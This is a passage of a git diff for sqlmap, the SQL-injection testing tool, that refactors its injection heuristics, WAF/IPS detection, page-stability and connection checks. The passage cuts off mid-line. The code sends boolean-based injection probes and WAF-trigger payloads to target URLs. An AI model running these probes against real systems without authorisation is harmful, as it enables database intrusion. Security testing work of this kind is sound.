logger.info(infoMsg) - payload = agent.payload(place, parameter, value, payload) - firstPage, _ = Request.queryPage(payload, place, content=True, raise404=False) + if conf.beep: + beep() - if not (wasLastRequestDBMSError() or wasLastRequestHTTPError()): - if getComparePageRatio(kb.originalPage, firstPage, filtered=True) > CONSTANT_RATIO: - payload = "%s AND %d=%d" % (value, randInt, randInt + 1) + try: + for match in re.finditer(FI_ERROR_REGEX, page or ""): + if randStr1.lower() in match.group(0).lower(): + infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) - payload = agent.payload(place, parameter, value, payload) - secondPage, _ = Request.queryPage(payload, place, content=True, raise404=False) - result = getComparePageRatio(firstPage, secondPage, filtered=True) <= CONSTANT_RATIO + if conf.beep: + beep() - infoMsg = "simpleton test shows that %s " % place - infoMsg += "parameter '%s' might " % parameter + break + except (SystemError, RuntimeError) as ex: + logger.debug("Skipping FI heuristic due to regex failure: %s", getSafeExString(ex)) - if result: - infoMsg += "be injectable" - logger.info(infoMsg) - else: - infoMsg += "not be injectable" - logger.warn(infoMsg) + kb.disableHtmlDecoding = False + kb.heuristicMode = False - return result + return kb.heuristicTest def checkDynParam(place, parameter, value): """ - This function checks if the url parameter is dynamic. If it is + This function checks if the URL parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. """ - if kb.redirectChoice: + if kb.choices.redirect: return None kb.matchRatio = None dynResult = None randInt = randomInt() - infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter) + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place + + infoMsg = "testing if %sparameter '%s' is dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) try: payload = agent.payload(place, parameter, value, getUnicode(randInt)) dynResult = Request.queryPage(payload, place, raise404=False) - - if not dynResult: - infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter) - logger.info(infoMsg) - - randInt = randomInt() - payload = agent.payload(place, parameter, value, getUnicode(randInt)) - dynResult = Request.queryPage(payload, place, raise404=False) - except sqlmapConnectionException: + except SqlmapConnectionException: pass - if dynResult is None: - return None - else: - return not dynResult + result = None if dynResult is None else not dynResult + kb.dynamicParameter = result + + return result def checkDynamicContent(firstPage, secondPage): """ @@ -733,12 +1201,22 @@ def checkDynamicContent(firstPage, secondPage): logger.critical(warnMsg) return - seqMatcher = getCurrentThreadData().seqMatcher - seqMatcher.set_seq1(firstPage) - seqMatcher.set_seq2(secondPage) + if firstPage and secondPage and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (firstPage, secondPage)): + ratio = None + else: + try: + seqMatcher = getCurrentThreadData().seqMatcher + seqMatcher.set_seq1(firstPage) + seqMatcher.set_seq2(secondPage) + ratio = seqMatcher.quick_ratio() + except MemoryError: + ratio = None + + if ratio is None: + kb.skipSeqMatcher = True # In case of an intolerable difference turn on dynamicity removal engine - if seqMatcher.quick_ratio() <= UPPER_RATIO_BOUND: + elif ratio <= UPPER_RATIO_BOUND: findDynamicContent(firstPage, secondPage) count = 0 @@ -746,18 +1224,20 @@ def checkDynamicContent(firstPage, secondPage): count += 1 if count > conf.retries: - warnMsg = "target url is too dynamic. " + warnMsg = "target URL content appears to be too dynamic. " warnMsg += "Switching to '--text-only' " - logger.warn(warnMsg) + logger.warning(warnMsg) conf.textOnly = True return - warnMsg = "target url is heavily dynamic" - warnMsg += ", sqlmap is going to retry the request" - logger.critical(warnMsg) + warnMsg = "target URL content appears to be heavily dynamic. " + warnMsg += "sqlmap is going to retry the request(s)" + singleTimeLogMessage(warnMsg, logging.CRITICAL) + + kb.heavilyDynamic = True - secondPage, _ = Request.queryPage(content=True) + secondPage, _, _ = Request.queryPage(content=True) findDynamicContent(firstPage, secondPage) def checkStability(): @@ -771,21 +1251,25 @@ def checkStability(): like for instance string matching (--string). """ - infoMsg = "testing if the url is stable, wait a few seconds" + infoMsg = "testing if the target URL content is stable" logger.info(infoMsg) firstPage = kb.originalPage # set inside checkConnection() - time.sleep(1) - secondPage, _ = Request.queryPage(content=True, raise404=False) - if kb.redirectChoice: + delay = MAX_STABILITY_DELAY - (time.time() - (kb.originalPageTime or 0)) + delay = max(0, min(MAX_STABILITY_DELAY, delay)) + time.sleep(delay) + + secondPage, _, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False) + + if kb.choices.redirect: return None kb.pageStable = (firstPage == secondPage) if kb.pageStable: if firstPage: - infoMsg = "url is stable" + infoMsg = "target URL content is stable" logger.info(infoMsg) else: errMsg = "there was an error checking the stability of page " @@ -795,31 +1279,27 @@ def checkStability(): logger.error(errMsg) else: - warnMsg = "url is not stable, sqlmap will base the page " + warnMsg = "target URL content is not stable (i.e. content differs). sqlmap will base the page " warnMsg += "comparison on a sequence matcher. If no dynamic nor " warnMsg += "injectable parameters are detected, or in case of " warnMsg += "junk results, refer to user's manual paragraph " - warnMsg += "'Page comparison' and provide a string or regular " - warnMsg += "expression to match on" - logger.warn(warnMsg) + warnMsg += "'Page comparison'" + logger.warning(warnMsg) message = "how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] " - if not conf.realTest: - test = readInput(message, default="C") - else: - test = None + choice = readInput(message, default='C').upper() - if test and test[0] in ("q", "Q"): - raise sqlmapUserQuitException + if choice == 'Q': + raise SqlmapUserQuitException - elif test and test[0] in ("s", "S"): + elif choice == 'S': showStaticWords(firstPage, secondPage) message = "please enter value for parameter 'string': " - test = readInput(message) + string = readInput(message) - if test: - conf.string = test + if string: + conf.string = string if kb.nullConnection: debugMsg = "turning off NULL connection " @@ -829,14 +1309,14 @@ def checkStability(): kb.nullConnection = None else: errMsg = "Empty value supplied" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException(errMsg) - elif test and test[0] in ("r", "R"): + elif choice == 'R': message = "please enter value for parameter 'regex': " - test = readInput(message) + regex = readInput(message) - if test: - conf.regex = test + if regex: + conf.regex = regex if kb.nullConnection: debugMsg = "turning off NULL connection " @@ -846,192 +1326,272 @@ def checkStability(): kb.nullConnection = None else: errMsg = "Empty value supplied" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException(errMsg) else: checkDynamicContent(firstPage, secondPage) return kb.pageStable -def checkString(): - if not conf.string: - return True - - infoMsg = "testing if the provided string is within the " - infoMsg += "target URL page content" - logger.info(infoMsg) - - page, headers = Request.queryPage(content=True) - rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page) - - if conf.string not in rawResponse: - warnMsg = "you provided '%s' as the string to " % conf.string - warnMsg += "match, but such a string is not within the target " - warnMsg += "URL raw response, sqlmap will carry on anyway" - logger.warn(warnMsg) - - return True - -def checkRegexp(): - if not conf.regexp: - return True - - infoMsg = "testing if the provided regular expression matches within " - infoMsg += "the target URL page content" - logger.info(infoMsg) - - page, headers = Request.queryPage(content=True) - rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page) - - if not re.search(conf.regexp, rawResponse, re.I | re.M): - warnMsg = "you provided '%s' as the regular expression to " % conf.regexp - warnMsg += "match, but such a regular expression does not have any " - warnMsg += "match within the target URL raw response, sqlmap " - warnMsg += "will carry on anyway" - logger.warn(warnMsg) - - return True - +@stackedmethod def checkWaf(): """ Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse """ - if not conf.checkWaf: - return False - - infoMsg = "testing if the target is protected by " - infoMsg += "some kind of WAF/IPS/IDS" - logger.info(infoMsg) + if any((conf.string, conf.notString, conf.regexp, conf.dummy, conf.offline, conf.skipWaf)): + return None - retVal = False + if kb.originalCode == _http_client.NOT_FOUND: + return None - backup = dict(conf.parameters) + _ = hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_RESULT, True) + if _ is not None: + if _: + warnMsg = "previous heuristics detected that the target " + warnMsg += "is protected by some kind of WAF/IPS" + logger.critical(warnMsg) + return _ - conf.parameters = dict(backup) - conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&" - conf.parameters[PLACE.GET] += "%s=%d %s" % (randomStr(), randomInt(), IDS_WAF_CHECK_PAYLOAD) + if not kb.originalPage: + return None - kb.matchRatio = None - Request.queryPage() + infoMsg = "checking if the target is protected by " + infoMsg += "some kind of WAF/IPS" + logger.info(infoMsg) - if kb.errorIsNone and kb.matchRatio is None: - kb.matchRatio = LOWER_RATIO_BOUND + retVal = False + payload = "%d %s" % (randomInt(), IPS_WAF_CHECK_PAYLOAD) - conf.parameters = dict(backup) - conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&" - conf.parameters[PLACE.GET] += "%s=%d" % (randomStr(), randomInt()) + place = PLACE.GET + if PLACE.URI in conf.parameters: + value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload)) + else: + value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER + value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload)) - trueResult = Request.queryPage() + pushValue(kb.choices.redirect) + pushValue(kb.resendPostOnRedirect) + pushValue(conf.timeout) - if trueResult: - conf.parameters = dict(backup) - conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&" - conf.parameters[PLACE.GET] += "%s=%d %s" % (randomStr(), randomInt(), IDS_WAF_CHECK_PAYLOAD) + kb.choices.redirect = REDIRECTION.YES + kb.resendPostOnRedirect = False + conf.timeout = IPS_WAF_CHECK_TIMEOUT - falseResult = Request.queryPage() + try: + retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO + except SqlmapConnectionException: + retVal = True + finally: + kb.matchRatio = None - if not falseResult: - retVal = True + conf.timeout = popValue() + kb.resendPostOnRedirect = popValue() + kb.choices.redirect = popValue() - conf.parameters = dict(backup) + hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True) if retVal: - warnMsg = "it appears that the target is protected. Please " - warnMsg += "consider usage of tamper scripts (option '--tamper')" - logger.warn(warnMsg) - else: - infoMsg = "it appears that the target is not protected" - logger.info(infoMsg) + if not kb.identifiedWafs: + warnMsg = "heuristics detected that the target " + warnMsg += "is protected by some kind of WAF/IPS" + logger.critical(warnMsg) + + message = "are you sure that you want to " + message += "continue with further target testing? [Y/n] " + choice = readInput(message, default='Y', boolean=True) + + if not choice: + raise SqlmapUserQuitException + else: + if not conf.tamper: + warnMsg = "please consider usage of tamper scripts (option '--tamper')" + singleTimeWarnMessage(warnMsg) return retVal +@stackedmethod def checkNullConnection(): """ Reference: http://www.wisec.it/sectou.php?id=472f952d79293 """ - infoMsg = "testing NULL connection to the target url" - logger.info(infoMsg) + if conf.data: + return False - try: - page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD) + _ = hashDBRetrieve(HASHDB_KEYS.CHECK_NULL_CONNECTION_RESULT, True) + if _ is not None: + kb.nullConnection = _ - if not page and HTTPHEADER.CONTENT_LENGTH in headers: - kb.nullConnection = NULLCONNECTION.HEAD + if _: + dbgMsg = "resuming NULL connection method '%s'" % _ + logger.debug(dbgMsg) - infoMsg = "NULL connection is supported with HEAD header" - logger.info(infoMsg) - else: - page, headers, _ = Request.getPage(auxHeaders={HTTPHEADER.RANGE: "bytes=-1"}) + else: + infoMsg = "testing NULL connection to the target URL" + logger.info(infoMsg) - if page and len(page) == 1 and HTTPHEADER.CONTENT_RANGE in headers: - kb.nullConnection = NULLCONNECTION.RANGE + pushValue(kb.pageCompress) + kb.pageCompress = False + + try: + page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False) - infoMsg = "NULL connection is supported with GET header " - infoMsg += "'%s'" % kb.nullConnection + if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): + kb.nullConnection = NULLCONNECTION.HEAD + + infoMsg = "NULL connection is supported with HEAD method ('Content-Length')" logger.info(infoMsg) + else: + page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"}) + + if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}): + kb.nullConnection = NULLCONNECTION.RANGE + + infoMsg = "NULL connection is supported with GET method ('Range')" + logger.info(infoMsg) + else: + _, headers, _ = Request.getPage(skipRead=True) - except sqlmapConnectionException, errMsg: - errMsg = getUnicode(errMsg) - raise sqlmapConnectionException, errMsg + if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): + kb.nullConnection = NULLCONNECTION.SKIP_READ + + infoMsg = "NULL connection is supported with 'skip-read' method" + logger.info(infoMsg) + + except SqlmapConnectionException: + pass + + finally: + kb.pageCompress = popValue() + kb.nullConnection = False if kb.nullConnection is None else kb.nullConnection + hashDBWrite(HASHDB_KEYS.CHECK_NULL_CONNECTION_RESULT, kb.nullConnection, True) - return kb.nullConnection is not None + return kb.nullConnection in getPublicTypeMembers(NULLCONNECTION, True) def checkConnection(suppressOutput=False): - if not any([conf.proxy, conf.tor]): - try: - socket.getaddrinfo(conf.hostname, None) - except socket.gaierror: - errMsg = "host '%s' does not exist" % conf.hostname - raise sqlmapConnectionException, errMsg + threadData = getCurrentThreadData() - if not suppressOutput: - infoMsg = "testing connection to the target url" + if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", conf.hostname): + if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)): + try: + debugMsg = "resolving hostname '%s'" % conf.hostname + logger.debug(debugMsg) + socket.getaddrinfo(conf.hostname, None) + except socket.gaierror: + errMsg = "host '%s' does not exist" % conf.hostname + raise SqlmapConnectionException(errMsg) + except socket.error as ex: + errMsg = "problem occurred while " + errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex)) + raise SqlmapConnectionException(errMsg) + except UnicodeError as ex: + errMsg = "problem occurred while " + errMsg += "handling a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex)) + raise SqlmapDataException(errMsg) + + if not suppressOutput and not conf.dummy and not conf.offline: + infoMsg = "testing connection to the target URL" logger.info(infoMsg) try: - page, _ = Request.queryPage(content=True, noteResponseTime=False) - kb.originalPage = kb.pageTemplate = page + kb.originalPageTime = time.time() + page, headers, _ = Request.queryPage(content=True, noteResponseTime=False) + + rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page) + + if conf.string: + infoMsg = "testing if the provided string is within the " + infoMsg += "target URL page content" + logger.info(infoMsg) + + if conf.string not in rawResponse: + warnMsg = "you provided '%s' as the string to " % conf.string + warnMsg += "match, but such a string is not within the target " + warnMsg += "URL raw response, sqlmap will carry on anyway" + logger.warning(warnMsg) + + if conf.regexp: + infoMsg = "testing if the provided regular expression matches within " + infoMsg += "the target URL page content" + logger.info(infoMsg) + + if not re.search(conf.regexp, rawResponse, re.I | re.M): + warnMsg = "you provided '%s' as the regular expression " % conf.regexp + warnMsg += "which does not have any match within the target URL raw response. sqlmap " + warnMsg += "will carry on anyway" + logger.warning(warnMsg) kb.errorIsNone = False - if not kb.originalPage and wasLastRequestHTTPError(): - errMsg = "unable to retrieve page content" - raise sqlmapConnectionException, errMsg - elif wasLastRequestDBMSError(): - warnMsg = "there is a DBMS error found in the HTTP response body" - warnMsg += "which could interfere with the results of the tests" - logger.warn(warnMsg) - elif wasLastRequestHTTPError(): - warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError() + if any(_ in (kb.serverHeader or "") for _ in PRECONNECT_INCOMPATIBLE_SERVERS): + singleTimeWarnMessage("turning off pre-connect mechanism because of incompatible server ('%s')" % kb.serverHeader) + conf.disablePrecon = True + + if not kb.originalPage and wasLastResponseHTTPError(): + if getLastRequestHTTPError() not in (conf.ignoreCode or []): + errMsg = "unable to retrieve page content" + raise SqlmapConnectionException(errMsg) + elif wasLastResponseDBMSError(): + warnMsg = "there is a DBMS error found in the HTTP response body " warnMsg += "which could interfere with the results of the tests" - logger.warn(warnMsg) + logger.warning(warnMsg) + elif wasLastResponseHTTPError(): + if getLastRequestHTTPError() not in (conf.ignoreCode or []): + warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError() + warnMsg += "which could interfere with the results of the tests" + logger.warning(warnMsg) else: kb.errorIsNone = True - except sqlmapConnectionException, errMsg: - errMsg = getUnicode(errMsg) - logger.critical(errMsg) + if kb.choices.redirect == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: + if (threadData.lastRedirectURL[1] or "").startswith("https://") and conf.hostname in getUnicode(threadData.lastRedirectURL[1]): + conf.url = re.sub(r"https?://", "https://", conf.url) + match = re.search(r":(\d+)", threadData.lastRedirectURL[1]) + port = match.group(1) if match else 443 + conf.url = re.sub(r":\d+(/|\Z)", r":%s\g<1>" % port, conf.url) + except SqlmapConnectionException as ex: if conf.ipv6: warnMsg = "check connection to a provided " warnMsg += "IPv6 address with a tool like ping6 " - warnMsg += "(e.g. 'ping6 %s') " % conf.hostname + warnMsg += "(e.g. 'ping6 -I eth0 %s') " % conf.hostname warnMsg += "prior to running sqlmap to avoid " warnMsg += "any addressing issues" singleTimeWarnMessage(warnMsg) - if any(code in kb.httpErrorCodes for code in (httplib.NOT_FOUND, )): + if any(code in kb.httpErrorCodes for code in (_http_client.NOT_FOUND, )): + errMsg = getSafeExString(ex) + logger.critical(errMsg) + if conf.multipleTargets: return False msg = "it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n] " - if readInput(msg, default="Y") not in ("n", "N"): - raise sqlmapSilentQuitException + if readInput(msg, default='Y', boolean=True): + raise SqlmapSilentQuitException else: kb.ignoreNotFound = True else: raise + finally: + kb.originalPage = kb.pageTemplate = threadData.lastPage + kb.originalCode = threadData.lastCode + + if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie: + candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj) + + message = "you have not declared cookie(s), while " + message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate) + message += "Do you want to use those [Y/n] " + if readInput(message, default='Y', boolean=True): + kb.mergeCookies = True + conf.httpHeaders.append((HTTP_HEADER.COOKIE, candidate)) return True + +def checkInternet(): + return Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[2] == CHECK_INTERNET_CODE + +def setVerbosity(): # Cross-referenced function + raise NotImplementedError diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 97760aea149..1770e751c52 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -1,65 +1,85 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import division + import os import re +import subprocess +import time from lib.controller.action import action -from lib.controller.checks import checkSqlInjection -from lib.controller.checks import checkDynParam -from lib.controller.checks import checkStability -from lib.controller.checks import checkString -from lib.controller.checks import checkRegexp from lib.controller.checks import checkConnection +from lib.controller.checks import checkDynParam +from lib.controller.checks import checkInternet from lib.controller.checks import checkNullConnection +from lib.controller.checks import checkSqlInjection +from lib.controller.checks import checkStability from lib.controller.checks import checkWaf from lib.controller.checks import heuristicCheckSqlInjection -from lib.controller.checks import simpletonCheckSqlInjection from lib.core.agent import agent +from lib.core.common import dataToStdout from lib.core.common import extractRegexResult from lib.core.common import getFilteredPageContent from lib.core.common import getPublicTypeMembers -from lib.core.common import getUnicode +from lib.core.common import getSafeExString from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import intersect +from lib.core.common import isDigit +from lib.core.common import isListLike from lib.core.common import parseTargetUrl +from lib.core.common import popValue +from lib.core.common import pushValue +from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput +from lib.core.common import removePostHintPrefix +from lib.core.common import safeCSValue from lib.core.common import showHttpErrorCodes -from lib.core.convert import urlencode -from lib.core.convert import urldecode +from lib.core.common import urldecode +from lib.core.common import urlencode +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.decorators import stackedmethod +from lib.core.enums import CONTENT_TYPE from lib.core.enums import HASHDB_KEYS -from lib.core.enums import HTTPHEADER +from lib.core.enums import HEURISTIC_TEST +from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD +from lib.core.enums import NOTE from lib.core.enums import PAYLOAD from lib.core.enums import PLACE -from lib.core.exception import exceptionsTuple -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapNotVulnerableException -from lib.core.exception import sqlmapSilentQuitException -from lib.core.exception import sqlmapValueException -from lib.core.exception import sqlmapUserQuitException -from lib.core.settings import DEFAULT_COOKIE_DELIMITER +from lib.core.exception import SqlmapBaseException +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapNotVulnerableException +from lib.core.exception import SqlmapSilentQuitException +from lib.core.exception import SqlmapSkipTargetException +from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapUserQuitException +from lib.core.exception import SqlmapValueException +from lib.core.settings import ASP_NET_CONTROL_REGEX +from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import EMPTY_FORM_FIELDS_REGEX +from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX +from lib.core.settings import HOST_ALIASES from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import LOW_TEXT_PERCENT -from lib.core.settings import HOST_ALIASES from lib.core.settings import REFERER_ALIASES from lib.core.settings import USER_AGENT_ALIASES from lib.core.target import initTargetEnv from lib.core.target import setupTargetEnv -from extra.pagerank.pagerank import get_pagerank +from lib.utils.hash import crackHashFile -def __selectInjection(): +def _selectInjection(): """ Selection function for injection place, parameters and type. """ @@ -76,7 +96,7 @@ def __selectInjection(): if point not in points: points[point] = injection else: - for key in points[point].keys(): + for key in points[point]: if key != 'data': points[point][key] = points[point][key] or injection[key] points[point]['data'].update(injection['data']) @@ -109,69 +129,93 @@ def __selectInjection(): message += "\n" message += "[q] Quit" - select = readInput(message, default="0") + choice = readInput(message, default='0').upper() - if select.isdigit() and int(select) < len(kb.injections) and int(select) >= 0: - index = int(select) - elif select[0] in ( "Q", "q" ): - raise sqlmapUserQuitException + if isDigit(choice) and int(choice) < len(kb.injections) and int(choice) >= 0: + index = int(choice) + elif choice == 'Q': + raise SqlmapUserQuitException else: errMsg = "invalid choice" - raise sqlmapValueException, errMsg + raise SqlmapValueException(errMsg) kb.injection = kb.injections[index] -def __formatInjection(inj): - data = "Place: %s\n" % inj.place - data += "Parameter: %s\n" % inj.parameter +def _formatInjection(inj): + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else inj.place + data = "Parameter: %s (%s)\n" % (inj.parameter, paramType) for stype, sdata in inj.data.items(): title = sdata.title vector = sdata.vector + comment = sdata.comment + payload = agent.adjustLateValues(sdata.payload) + if inj.place == PLACE.CUSTOM_HEADER: + payload = payload.split(',', 1)[1] if stype == PAYLOAD.TECHNIQUE.UNION: - count = re.sub(r"(?i)(\(.+\))|(\blimit[^A-Za-z]+)", "", sdata.payload).count(',') + 1 + count = re.sub(r"(?i)(\(.+\))|(\blimit[^a-z]+)", "", sdata.payload).count(',') + 1 title = re.sub(r"\d+ to \d+", str(count), title) - vector = agent.forgeInbandQuery("[QUERY]", vector[0], vector[1], vector[2], None, None, vector[5], vector[6]) + vector = agent.forgeUnionQuery("[QUERY]", vector[0], vector[1], vector[2], None, None, vector[5], vector[6]) if count == 1: title = title.replace("columns", "column") + elif comment: + vector = "%s%s" % (vector, comment) data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype] data += " Title: %s\n" % title - data += " Payload: %s\n" % agent.adjustLateValues(sdata.payload) + data += " Payload: %s\n" % urldecode(payload, unsafe="&", spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus)) data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n" return data -def __showInjections(): - header = "sqlmap identified the following injection points with " - header += "a total of %d HTTP(s) requests" % kb.testQueryCount +def _showInjections(): + if conf.wizard and kb.wizardMode: + kb.wizardMode = False - data = "".join(set(map(lambda x: __formatInjection(x), kb.injections))).rstrip("\n") + if kb.testQueryCount > 0: + header = "sqlmap identified the following injection point(s) with " + header += "a total of %d HTTP(s) requests" % kb.testQueryCount + else: + header = "sqlmap resumed the following injection point(s) from stored session" - conf.dumper.technic(header, data) + if conf.api: + conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET) + conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES) + else: + data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n") + conf.dumper.string(header, data) if conf.tamper: - infoMsg = "changes made by tampering scripts are not " - infoMsg += "included in shown payload content(s)" - logger.info(infoMsg) + warnMsg = "changes made by tampering scripts are not " + warnMsg += "included in shown payload content(s)" + logger.warning(warnMsg) -def __randomFillBlankFields(value): + if conf.hpp: + warnMsg = "changes made by HTTP parameter pollution are not " + warnMsg += "included in shown payload content(s)" + logger.warning(warnMsg) + +def _randomFillBlankFields(value): retVal = value if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, value): message = "do you want to fill blank fields with random values? [Y/n] " - test = readInput(message, default="Y") - if not test or test[0] in ("y", "Y"): - while extractRegexResult(EMPTY_FORM_FIELDS_REGEX, retVal): - item = extractRegexResult(EMPTY_FORM_FIELDS_REGEX, retVal) - if item[-1] == DEFAULT_GET_POST_DELIMITER: - retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER)) - else: - retVal = retVal.replace(item, "%s%s" % (item, randomStr())) + + if readInput(message, default='Y', boolean=True): + for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal): + item = match.group("result") + if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item): + newValue = randomStr() if not re.search(r"^id|id$", item, re.I) else randomInt() + if item[-1] == DEFAULT_GET_POST_DELIMITER: + retVal = retVal.replace(item, "%s%s%s" % (item[:-1], newValue, DEFAULT_GET_POST_DELIMITER)) + else: + retVal = retVal.replace(item, "%s%s" % (item, newValue)) return retVal -def __saveToHashDB(): - injections = hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or [] +def _saveToHashDB(): + injections = hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) + if not isListLike(injections): + injections = [] injections.extend(_ for _ in kb.injections if _ and _.place is not None and _.parameter is not None) _ = dict() @@ -181,11 +225,10 @@ def __saveToHashDB(): _[key] = injection else: _[key].data.update(injection.data) - hashDBWrite(HASHDB_KEYS.KB_INJECTIONS, _.values(), True) + hashDBWrite(HASHDB_KEYS.KB_INJECTIONS, list(_.values()), True) - _ = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or set() - _.update(kb.absFilePaths) - hashDBWrite(HASHDB_KEYS.KB_ABS_FILE_PATHS, _, True) + _ = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) + hashDBWrite(HASHDB_KEYS.KB_ABS_FILE_PATHS, kb.absFilePaths | (_ if isinstance(_, set) else set()), True) if not hashDBRetrieve(HASHDB_KEYS.KB_CHARS): hashDBWrite(HASHDB_KEYS.KB_CHARS, kb.chars, True) @@ -193,33 +236,35 @@ def __saveToHashDB(): if not hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS): hashDBWrite(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, kb.dynamicMarkings, True) -def __saveToResultsFile(): +def _saveToResultsFile(): if not conf.resultsFP: return - found = False results = {} - techniques = dict(map(lambda x: (x[1], x[0]), getPublicTypeMembers(PAYLOAD.TECHNIQUE))) + techniques = dict((_[1], _[0]) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE)) - for inj in kb.injections: - if inj.place is None or inj.parameter is None: + for injection in kb.injections + kb.falsePositives: + if injection.place is None or injection.parameter is None: continue - key = (inj.place, inj.parameter) + key = (injection.place, injection.parameter, ';'.join(injection.notes)) if key not in results: results[key] = [] - results[key].extend(inj.data.keys()) + results[key].extend(list(injection.data.keys())) - for key, value in results.items(): - place, parameter = key - line = "%s,%s,%s,%s%s" % (conf.url, place, parameter, "".join(map(lambda x: techniques[x][0].upper(), sorted(value))), os.linesep) - conf.resultsFP.writelines(line) + try: + for key, value in results.items(): + place, parameter, notes = key + line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep) + conf.resultsFP.write(line) - if not results: - line = "%s,,,%s" % (conf.url, os.linesep) - conf.resultsFP.writelines(line) + conf.resultsFP.flush() + except IOError as ex: + errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex)) + raise SqlmapSystemException(errMsg) +@stackedmethod def start(): """ This function calls a function that performs checks on both URL @@ -227,8 +272,8 @@ def start(): check if they are dynamic and SQL injection affected """ - if not conf.start: - return False + if conf.hashFile: + crackHashFile(conf.hashFile) if 